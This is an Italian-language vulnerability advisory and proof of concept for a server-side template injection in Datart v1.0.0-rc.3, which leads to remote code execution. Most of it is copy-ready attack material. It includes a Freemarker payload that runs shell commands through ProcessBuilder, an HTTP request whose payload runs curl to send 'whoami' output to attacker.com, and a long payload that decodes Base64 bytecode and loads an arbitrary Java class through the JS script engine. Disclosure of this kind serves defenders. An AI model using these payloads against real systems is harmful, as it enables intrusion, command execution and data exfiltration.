CVE-2025-70830: Datart - Iniezione di template lato server (SSTI)

Panoramica della vulnerabilità

• ID CVE: CVE-2025-70830
• Prodotto interessato: Datart
• Versione interessata: v1.0.0-rc.3
• Tipo di vulnerabilità: Server-Side Template Injection (SSTI) - Iniezione di template lato server
• Gravità: Esecuzione di codice remoto (RCE)

Descrizione della vulnerabilità

Datart versione v1.0.0-rc.3 presenta una vulnerabilità di iniezione di template lato server (SSTI) nel motore di template Freemarker. Un utente autenticato può eseguire codice di sistema arbitrario iniettando sintassi Freemarker dannosa nel campo dello script SQL.

Procedura di riproduzione (Proof of Concept)

1. Prerequisiti

• Accedere al sistema Datart.
• Poter accedere e modificare una sorgente dati (Data Source) con funzionalità di esecuzione SQL.

2. Costruzione del Payload

Nell'editor di script/query SQL (SQL script/query editor), inserire il seguente Payload Freemarker, che può essere utilizzato per eseguire comandi di sistema (ad esempio id o calc):

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

Fare clic per eseguire lo script: il server eseguirà il comando in background.

3. Esempio di richiesta HTTP

Il pacchetto di richiesta per attivare la vulnerabilità tramite API è il seguente:

POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

Sfruttamento avanzato

Caricamento di bytecode arbitrario (Load Custom Bytecode)

Un attaccante può utilizzare javax.script.ScriptEngineManager di Java per richiamare il motore JS e caricare ed eseguire bytecode Java arbitrario codificato in Base64.

Esempio di Payload:

POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}